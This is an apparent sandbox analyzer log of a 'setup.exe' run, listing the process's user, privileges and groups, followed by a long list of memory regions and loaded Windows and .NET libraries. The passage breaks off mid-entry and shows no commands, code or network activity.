# Flog Txt Version 1 # Analyzer Version: 2023.4.1 # Analyzer Build Date: Nov 10 2023 06:23:34 # Log Creation Date: 27.12.2023 00:56:19.178 Process: id = "1" image_name = "setup.exe" filename = "c:\\users\\keecfmwgj\\desktop\\setup.exe" page_root = "0x3f2d0000" os_pid = "0x934" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x7e4" cmd_line = "\"C:\\Users\\kEecfMwgj\\Desktop\\Setup.exe\" " cur_dir = "C:\\Users\\kEecfMwgj\\Desktop\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f5e4" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 115 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 116 start_va = 0x30000 end_va = 0x31fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 117 start_va = 0x40000 end_va = 0x40fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 118 start_va = 0x50000 end_va = 0x53fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 119 start_va = 0x60000 end_va = 0x60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 120 start_va = 0x210000 end_va = 0x24ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 121 start_va = 0x280000 end_va = 0x37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 122 start_va = 0x1360000 end_va = 0x1fa7fff monitored = 1 entry_point = 0x1f82186 region_type = mapped_file name = "setup.exe" filename = "\\Users\\kEecfMwgj\\Desktop\\Setup.exe" (normalized: "c:\\users\\keecfmwgj\\desktop\\setup.exe") Region: id = 123 start_va = 0x77460000 end_va = 0x77608fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 124 start_va = 0x77640000 end_va = 0x777bffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 125 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 126 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 127 start_va = 0xfffb0000 end_va = 0xfffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000fffb0000" filename = "" Region: id = 128 start_va = 0xfffdb000 end_va = 0xfffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000fffdb000" filename = "" Region: id = 129 start_va = 0xfffde000 end_va = 0xfffdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000fffde000" filename = "" Region: id = 130 start_va = 0xfffdf000 end_va = 0xfffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000fffdf000" filename = "" Region: id = 131 start_va = 0xfffe0000 end_va = 0x7fffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000fffe0000" filename = "" Region: id = 270 start_va = 0x70000 end_va = 0x1dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 271 start_va = 0x74f30000 end_va = 0x74f6efff monitored = 0 entry_point = 0x74f5e088 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 272 start_va = 0x74ed0000 end_va = 0x74f2bfff monitored = 0 entry_point = 0x74f0f9f4 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 273 start_va = 0x74ec0000 end_va = 0x74ec7fff monitored = 0 entry_point = 0x74ec20f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 274 start_va = 0x77340000 end_va = 0x7745efff monitored = 0 entry_point = 0x77355340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 275 start_va = 0x75c80000 end_va = 0x75d8ffff monitored = 0 entry_point = 0x75c93283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 276 start_va = 0x77340000 end_va = 0x7745efff monitored = 0 entry_point = 0x77355340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 277 start_va = 0x77340000 end_va = 0x7745efff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000077340000" filename = "" Region: id = 278 start_va = 0x77240000 end_va = 0x77339fff monitored = 0 entry_point = 0x7725a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 279 start_va = 0x77240000 end_va = 0x77339fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000077240000" filename = "" Region: id = 280 start_va = 0x380000 end_va = 0x56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000380000" filename = "" Region: id = 281 start_va = 0x75030000 end_va = 0x75079fff monitored = 1 entry_point = 0x75032e54 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\SysWOW64\\mscoree.dll" (normalized: "c:\\windows\\syswow64\\mscoree.dll") Region: id = 282 start_va = 0x75c80000 end_va = 0x75d8ffff monitored = 0 entry_point = 0x75c93283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 283 start_va = 0x771c0000 end_va = 0x77206fff monitored = 0 entry_point = 0x771c74c1 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 284 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 285 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 286 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 287 start_va = 0x70000 end_va = 0xd6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 288 start_va = 0x160000 end_va = 0x1dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 289 start_va = 0x570000 end_va = 0x75ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 290 start_va = 0x570000 end_va = 0x70ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 291 start_va = 0x750000 end_va = 0x75ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000750000" filename = "" Region: id = 292 start_va = 0x7fff0000 end_va = 0x7fffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 293 start_va = 0x80000000 end_va = 0x8000ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000080000000" filename = "" Region: id = 294 start_va = 0x75e80000 end_va = 0x75f1ffff monitored = 0 entry_point = 0x75e949e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 295 start_va = 0x75620000 end_va = 0x756cbfff monitored = 0 entry_point = 0x7562a472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 296 start_va = 0x75c60000 end_va = 0x75c78fff monitored = 0 entry_point = 0x75c64975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 297 start_va = 0x760a0000 end_va = 0x7618ffff monitored = 0 entry_point = 0x760b0569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 298 start_va = 0x75190000 end_va = 0x751effff monitored = 0 entry_point = 0x751aa3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 299 start_va = 0x75180000 end_va = 0x7518bfff monitored = 0 entry_point = 0x751810e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 300 start_va = 0x570000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 301 start_va = 0x6d0000 end_va = 0x70ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 302 start_va = 0x74fa0000 end_va = 0x7502cfff monitored = 1 entry_point = 0x74fb2860 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll") Region: id = 303 start_va = 0x731b0000 end_va = 0x731b2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\SysWOW64\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\syswow64\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 304 start_va = 0x75e20000 end_va = 0x75e76fff monitored = 0 entry_point = 0x75e39ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 305 start_va = 0x76010000 end_va = 0x7609ffff monitored = 0 entry_point = 0x76026343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 306 start_va = 0x75520000 end_va = 0x7561ffff monitored = 0 entry_point = 0x7553b6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 307 start_va = 0x75a40000 end_va = 0x75a49fff monitored = 0 entry_point = 0x75a436a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 308 start_va = 0x753f0000 end_va = 0x7548cfff monitored = 0 entry_point = 0x75423fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 309 start_va = 0x20000 end_va = 0x3dfff monitored = 0 entry_point = 0x3158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 310 start_va = 0x760000 end_va = 0x8e7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000760000" filename = "" Region: id = 311 start_va = 0x20000 end_va = 0x3dfff monitored = 0 entry_point = 0x3158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 312 start_va = 0x76f70000 end_va = 0x76fcffff monitored = 0 entry_point = 0x76f8158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 313 start_va = 0x75b80000 end_va = 0x75c4bfff monitored = 0 entry_point = 0x75b8168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 314 start_va = 0x8f0000 end_va = 0xa70fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008f0000" filename = "" Region: id = 315 start_va = 0x1fb0000 end_va = 0x33affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001fb0000" filename = "" Region: id = 316 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 317 start_va = 0x30000 end_va = 0x30fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 318 start_va = 0x33b0000 end_va = 0x3ff0fff monitored = 1 entry_point = 0x3fd2186 region_type = mapped_file name = "setup.exe" filename = "\\Users\\kEecfMwgj\\Desktop\\Setup.exe" (normalized: "c:\\users\\keecfmwgj\\desktop\\setup.exe") Region: id = 319 start_va = 0x33b0000 end_va = 0x3ff0fff monitored = 1 entry_point = 0x3fd2186 region_type = mapped_file name = "setup.exe" filename = "\\Users\\kEecfMwgj\\Desktop\\Setup.exe" (normalized: "c:\\users\\keecfmwgj\\desktop\\setup.exe") Region: id = 320 start_va = 0x74190000 end_va = 0x74198fff monitored = 0 entry_point = 0x74191220 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 321 start_va = 0x71990000 end_va = 0x7213efff monitored = 1 entry_point = 0x719ad0d0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll") Region: id = 322 start_va = 0x72140000 end_va = 0x728eefff monitored = 1 entry_point = 0x7215d0d0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll") Region: id = 323 start_va = 0x71990000 end_va = 0x7213efff monitored = 1 entry_point = 0x719ad0d0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll") Region: id = 324 start_va = 0x74f80000 end_va = 0x74f93fff monitored = 0 entry_point = 0x74f8ac00 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\SysWOW64\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\syswow64\\vcruntime140_clr0400.dll") Region: id = 325 start_va = 0x72840000 end_va = 0x728eafff monitored = 0 entry_point = 0x728d5f20 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\SysWOW64\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\syswow64\\ucrtbase_clr0400.dll") Region: id = 326 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 327 start_va = 0xf0000 end_va = 0xfffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 328 start_va = 0x100000 end_va = 0x10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 329 start_va = 0x110000 end_va = 0x11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 330 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 331 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 332 start_va = 0x140000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 333 start_va = 0x150000 end_va = 0x150fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 334 start_va = 0x1e0000 end_va = 0x1e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 335 start_va = 0x380000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000380000" filename = "" Region: id = 336 start_va = 0x470000 end_va = 0x56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 337 start_va = 0xa80000 end_va = 0xbfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a80000" filename = "" Region: id = 338 start_va = 0x570000 end_va = 0x66ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 339 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006b0000" filename = "" Region: id = 340 start_va = 0xad0000 end_va = 0xb0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ad0000" filename = "" Region: id = 341 start_va = 0xbc0000 end_va = 0xbfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000bc0000" filename = "" Region: id = 342 start_va = 0xfffd8000 end_va = 0xfffdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000fffd8000" filename = "" Region: id = 343 start_va = 0x1f0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 344 start_va = 0x33b0000 end_va = 0x53affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000033b0000" filename = "" Region: id = 345 start_va = 0xb10000 end_va = 0xbaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b10000" filename = "" Region: id = 346 start_va = 0xc00000 end_va = 0xcfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c00000" filename = "" Region: id = 347 start_va = 0xd10000 end_va = 0xd4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d10000" filename = "" Region: id = 348 start_va = 0xfffd5000 end_va = 0xfffd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000fffd5000" filename = "" Region: id = 349 start_va = 0xde0000 end_va = 0xe1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000de0000" filename = "" Region: id = 350 start_va = 0xec0000 end_va = 0xfbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ec0000" filename = "" Region: id = 351 start_va = 0xfffad000 end_va = 0xfffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000fffad000" filename = "" Region: id = 352 start_va = 0xfc0000 end_va = 0x128efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 353 start_va = 0x70580000 end_va = 0x7198afff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\36eaccfde177c2e7b93b8dbdde4e012a\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\mscorlib\\36eaccfde177c2e7b93b8dbdde4e012a\\mscorlib.ni.dll") Region: id = 354 start_va = 0x75770000 end_va = 0x758cbfff monitored = 0 entry_point = 0x757bba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 355 start_va = 0x740a0000 end_va = 0x7411ffff monitored = 0 entry_point = 0x740b37c9 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 356 start_va = 0x53b0000 end_va = 0x551ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000053b0000" filename = "" Region: id = 357 start_va = 0x53b0000 end_va = 0x548efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000053b0000" filename = "" Region: id = 358 start_va = 0x54e0000 end_va = 0x551ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000054e0000" filename = "" Region: id = 359 start_va = 0x1f0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 360 start_va = 0x6fb20000 end_va = 0x70574fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System\\2c3c912ea8f058f9d04c4650128feb3f\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system\\2c3c912ea8f058f9d04c4650128feb3f\\system.ni.dll") Region: id = 361 start_va = 0x6f300000 end_va = 0x6fb17fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.core.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Core\\31fae3290fad30c31c98651462d22724\\System.Core.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.core\\31fae3290fad30c31c98651462d22724\\system.core.ni.dll") Region: id = 362 start_va = 0x72650000 end_va = 0x72831fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "microsoft.visualbasic.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.V9921e851#\\a891970b44db9e340c3ef3efa95b793c\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.v9921e851#\\a891970b44db9e340c3ef3efa95b793c\\microsoft.visualbasic.ni.dll") Region: id = 363 start_va = 0x74f70000 end_va = 0x74f72fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-xstate-l2-1-0.dll" filename = "\\Windows\\SysWOW64\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\windows\\syswow64\\api-ms-win-core-xstate-l2-1-0.dll") Region: id = 364 start_va = 0x725c0000 end_va = 0x72648fff monitored = 1 entry_point = 0x725c1130 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clrjit.dll") Region: id = 365 start_va = 0x756e0000 end_va = 0x7576efff monitored = 0 entry_point = 0x756e3fb1 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 366 start_va = 0x200000 end_va = 0x20ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 367 start_va = 0x72410000 end_va = 0x725b2fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.drawing.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Drawing\\f7568d7f1b9d356f64779b4c0927cfb3\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.drawing\\f7568d7f1b9d356f64779b4c0927cfb3\\system.drawing.ni.dll") Region: id = 368 start_va = 0x6e490000 end_va = 0x6f2f5fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.windows.forms.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Windows.Forms\\c9a4cbc00f690a9e3cddfc400f6e85bb\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.windows.forms\\c9a4cbc00f690a9e3cddfc400f6e85bb\\system.windows.forms.ni.dll") Region: id = 369 start_va = 0x72300000 end_va = 0x72404fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.configuration.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Configuration\\96f7edb07b12303f0ec2595c7f3778c7\\System.Configuration.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.configuration\\96f7edb07b12303f0ec2595c7f3778c7\\system.configuration.ni.dll") Region: id = 370 start_va = 0x6dd10000 end_va = 0x6e483fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.xml.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Xml\\15af16d373cf0528cb74fc73d365fdbf\\System.Xml.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.xml\\15af16d373cf0528cb74fc73d365fdbf\\system.xml.ni.dll") Region: id = 371 start_va = 0x722e0000 end_va = 0x722f2fff monitored = 1 entry_point = 0x722ed900 region_type = mapped_file name = "nlssorting.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\nlssorting.dll") Region: id = 372 start_va = 0x5520000 end_va = 0x57f1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nlp" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\sortdefault.nlp" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sortdefault.nlp") Region: id = 373 start_va = 0x76190000 end_va = 0x76dd9fff monitored = 0 entry_point = 0x76211601 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 374 start_va = 0x250000 end_va = 0x250fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000250000" filename = "" Region: id = 375 start_va = 0x74250000 end_va = 0x7425afff monitored = 0 entry_point = 0x74251992 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll") Region: id = 376 start_va = 0x5800000 end_va = 0x5a0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005800000" filename = "" Region: id = 377 start_va = 0x722c0000 end_va = 0x722d6fff monitored = 0 entry_point = 0x722c35fa region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\SysWOW64\\bcrypt.dll" (normalized: "c:\\windows\\syswow64\\bcrypt.dll") Region: id = 378 start_va = 0x73f20000 end_va = 0x73f36fff monitored = 0 entry_point = 0x73f23573 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 379 start_va = 0x380000 end_va = 0x3bbfff monitored = 0 entry_point = 0x38128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 380 start_va = 0x400000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 381 start_va = 0x380000 end_va = 0x3bbfff monitored = 0 entry_point = 0x38128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 382 start_va = 0x380000 end_va = 0x3bbfff monitored = 0 entry_point = 0x38128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 383 start_va = 0x380000 end_va = 0x3bbfff monitored = 0 entry_point = 0x38128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 384 start_va = 0x380000 end_va = 0x3bbfff monitored = 0 entry_point = 0x38128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 385 start_va = 0x73ee0000 end_va = 0x73f1afff monitored = 0 entry_point = 0x73ee128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: 